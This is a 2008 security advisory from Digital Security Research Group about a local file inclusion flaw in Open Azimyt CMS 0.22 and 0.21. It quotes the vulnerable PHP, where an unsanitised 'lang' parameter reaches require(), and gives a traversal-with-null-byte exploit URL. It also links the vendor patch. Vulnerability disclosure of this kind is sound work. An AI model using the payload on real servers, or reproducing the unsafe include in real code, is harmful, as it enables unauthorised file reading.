[DSECRG-08-026] LFI in Open Azimyt CMS 0.22

[Digital Security Research Group]

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-026


Application: Open Azimyt CMS
Versions Affected: 0.22 minimal, 0.21 stable
Vendor URL: http://azimyt.net/
Bug: Local File Include
Exploits: YES
Reported: 07.06.2008
Vendor Response: 08.06.2008
Solution: YES
Date of Public Advisory: 16.06.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Local File Include vulnerability found in script azimyt/lang/lang-system.php


Code
****
#################################################

if(isset($_GET['lang'])){
$_SESSION['lang']=$_GET['lang'];
}

if(!isset($_SESSION['lang'])){
$_SESSION['lang'] = "second";
}

if (isset($_SESSION['lang']))
{
$SystemLangFile = $CFG->admin_folder."/lang/lang-system-".$_SESSION['lang'].".php";
if(!file_exists($SystemLangFile)) exit(ErrorLang::LangFile_not_load);
require($SystemLangFile);
}

#################################################


Example:

http://[server]/[installdir]/azimyt/lang/lang-system.php?lang=../../../../../../../../../../../../../boot.ini%00



Fix Information
***************

Vendor fixed this flaw on 10.06.2008. Patch can be downloaded here:

http://open-azimyt-cms.googlecode.com/files/security_patch.zip





About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration

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Digital Security Research Group focuses on web application and database security problems with vulnerability reports,

advisories and whitepapers posted regularly on our website.


Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)




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